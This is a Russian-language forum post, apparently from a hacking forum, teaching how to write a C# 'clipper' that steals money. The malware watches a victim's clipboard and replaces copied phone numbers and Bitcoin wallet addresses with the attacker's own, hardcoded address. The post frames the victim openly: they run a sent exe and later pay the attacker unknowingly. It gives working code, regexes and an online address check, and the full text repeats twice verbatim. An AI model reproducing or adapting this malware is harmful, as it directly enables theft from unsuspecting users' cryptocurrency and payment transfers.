Добрый день форумчане. Тут я новичок, сидел до этого на другом форуме но контингент там не особо, по этому решил перебраться сюда. Статья написана лично мной совсем недавно и размещена только на одном форуме. Надеюсь администрация не против того чтобы я продолжил свою деятельность(написание своих собственных статей) на данной площадке. И так начнем.
Для начала объясню что же такое клипер - данная софтина будет подменять скопированные пользователем данные на нужные нам. Например кошельки вебмани, яндекс денег, киви, криптовалюты и т.д.
Для чего это нужно думаю догадались, но для не дальновидных поясню:
- закинули жертве exe файл она его запустила и нечего не подозревает.
- захотела наша жертва сделать перевод денег со своего qiwi на qiwi своей подруги.
- спросила у подруги номер кошелька, скопировала его, и вставила на сайте для перевода. но вместо кошелька подруги вставился наш кошелек.
ну дальше думаю уж точно все ясно
Сегодня мы с вами напишем простенький клипер на c# который будет подменять номер телефона и (внимание!) НА 100% подменять биткоин кошелек.
Для начала создадим проект в Visual Studio (я буду использовать версию 2017), версию Фреймворка ставим 3.5 (переписать под 2.0 особых проблем не составит так как все функции и методы которые сегодня будем использовать, стандартные.
После создания проекта добавляем библиотеки:
- System.Windows.Forms
- ClipboardHelper (Скачать данную библиотеку можно тут: http://rgho.st/782KjQMLg)
Подключаем нужные нам юзинги:
using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Windows.Forms;
using ClipboardHelper;
Далее создаем событие изменения буфера обмена, назовем его "Clip":
static void Clip(ClipboardFormat format, object data)
{
Regex myReg1 = new Regex(@"((\+38|8)[ ]?)?([(]?\d{3}[)]?[\- ]?)?[\d\-]{6,14}"); //Номер телефона
Regex myReg2 = new Regex(@"^(?=.*[0-9])(?=.*[a-zA-Z])[\da-zA-Z]{27,34}$"); //Биткоин
string bufertext = Clipboard.GetText();
if (myReg1.IsMatch(bufertext))
Clipboard.SetText("Номер телефона");
else if (myReg2.IsMatch(bufertext) && GET("https://blockchain.info/ru/q/addresstohash/",bufertext) != "0")
Clipboard.SetText("16JpwbFNzQGAbfJPJgR7MNs9EPTfbK5bsh");
}
В данном примере мы видем две регулярки:
Regex myReg1 = new Regex(@"((\+38|8)[ ]?)?([(]?\d{3}[)]?[\- ]?)?[\d\-]{6,14}");
Regex myReg2 = new Regex(@"^(?=.*[0-9])(?=.*[a-zA-Z])[\da-zA-Z]{27,34}$");
Первая определяет что в строке находится номер телефона а вторая определяет что в строке находится кошелек биткоинов.
В данном случае строкой является то что жертва скопировала в буфер обмена.
Но есть большое "НО"! Регулярки не могут на 100% знать что в строке действительно биткоины, они лишь способны сказать что данный текст похож на номер BTC.
По этому мы обратимся к API BTC и спросим у них "Слышь бро, подскажи ка, эти битки существуют?", на что он нам даст точный ответ и мы будем уверены подменять сейчас буфер обмена или нет.
по этому создадим статическую переменную типа string и назовем ее GET:
static string GET(string URL, string param)
{
try
{
WebRequest req = WebRequest.Create(URL + param);
WebResponse resp = req.GetResponse();
Stream stream = resp.GetResponseStream();
StreamReader sr = new StreamReader(stream);
string OUT = sr.ReadToEnd();
return OUT;
}
catch { return "0"; }
Незабываем обернуть код в try catch ибо если скопируеться не существующий биток мы получим исключение.
Теперь в main запустим наш обработчик таким вот образом:
ClipboardMonitor.OnClipboardChange += Clip;
ClipboardMonitor.Start();
Запускаем и проверяем:
Загрузка ЦП: 0% (при копировании поднимается на секунду до 0,1%)
Загрузка сети: 0% (при копировании битков - 0,1%)
Память: 3.5МБ (если консоль не скрыта то 6МБ, в режиме отладки до 11МБ).
Для тех кто нечего не понял показываю наглядно:
Лайки и коменты на ютуб приветствуются:p:. Всем спасибо за внимание надеюсь кому-то помог.
Для начала объясню что же такое клипер - данная софтина будет подменять скопированные пользователем данные на нужные нам. Например кошельки вебмани, яндекс денег, киви, криптовалюты и т.д.
Для чего это нужно думаю догадались, но для не дальновидных поясню:
- закинули жертве exe файл она его запустила и нечего не подозревает.
- захотела наша жертва сделать перевод денег со своего qiwi на qiwi своей подруги.
- спросила у подруги номер кошелька, скопировала его, и вставила на сайте для перевода. но вместо кошелька подруги вставился наш кошелек.
ну дальше думаю уж точно все ясно
Сегодня мы с вами напишем простенький клипер на c# который будет подменять номер телефона и (внимание!) НА 100% подменять биткоин кошелек.
Для начала создадим проект в Visual Studio (я буду использовать версию 2017), версию Фреймворка ставим 3.5 (переписать под 2.0 особых проблем не составит так как все функции и методы которые сегодня будем использовать, стандартные.
После создания проекта добавляем библиотеки:
- System.Windows.Forms
- ClipboardHelper (Скачать данную библиотеку можно тут: http://rgho.st/782KjQMLg)
Подключаем нужные нам юзинги:
using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Windows.Forms;
using ClipboardHelper;
Далее создаем событие изменения буфера обмена, назовем его "Clip":
static void Clip(ClipboardFormat format, object data)
{
Regex myReg1 = new Regex(@"((\+38|8)[ ]?)?([(]?\d{3}[)]?[\- ]?)?[\d\-]{6,14}"); //Номер телефона
Regex myReg2 = new Regex(@"^(?=.*[0-9])(?=.*[a-zA-Z])[\da-zA-Z]{27,34}$"); //Биткоин
string bufertext = Clipboard.GetText();
if (myReg1.IsMatch(bufertext))
Clipboard.SetText("Номер телефона");
else if (myReg2.IsMatch(bufertext) && GET("https://blockchain.info/ru/q/addresstohash/",bufertext) != "0")
Clipboard.SetText("16JpwbFNzQGAbfJPJgR7MNs9EPTfbK5bsh");
}
В данном примере мы видем две регулярки:
Regex myReg1 = new Regex(@"((\+38|8)[ ]?)?([(]?\d{3}[)]?[\- ]?)?[\d\-]{6,14}");
Regex myReg2 = new Regex(@"^(?=.*[0-9])(?=.*[a-zA-Z])[\da-zA-Z]{27,34}$");
Первая определяет что в строке находится номер телефона а вторая определяет что в строке находится кошелек биткоинов.
В данном случае строкой является то что жертва скопировала в буфер обмена.
Но есть большое "НО"! Регулярки не могут на 100% знать что в строке действительно биткоины, они лишь способны сказать что данный текст похож на номер BTC.
По этому мы обратимся к API BTC и спросим у них "Слышь бро, подскажи ка, эти битки существуют?", на что он нам даст точный ответ и мы будем уверены подменять сейчас буфер обмена или нет.
по этому создадим статическую переменную типа string и назовем ее GET:
static string GET(string URL, string param)
{
try
{
WebRequest req = WebRequest.Create(URL + param);
WebResponse resp = req.GetResponse();
Stream stream = resp.GetResponseStream();
StreamReader sr = new StreamReader(stream);
string OUT = sr.ReadToEnd();
return OUT;
}
catch { return "0"; }
Незабываем обернуть код в try catch ибо если скопируеться не существующий биток мы получим исключение.
Теперь в main запустим наш обработчик таким вот образом:
ClipboardMonitor.OnClipboardChange += Clip;
ClipboardMonitor.Start();
Запускаем и проверяем:
Загрузка ЦП: 0% (при копировании поднимается на секунду до 0,1%)
Загрузка сети: 0% (при копировании битков - 0,1%)
Память: 3.5МБ (если консоль не скрыта то 6МБ, в режиме отладки до 11МБ).
Для тех кто нечего не понял показываю наглядно:
Лайки и коменты на ютуб приветствуются:p:. Всем спасибо за внимание надеюсь кому-то помог.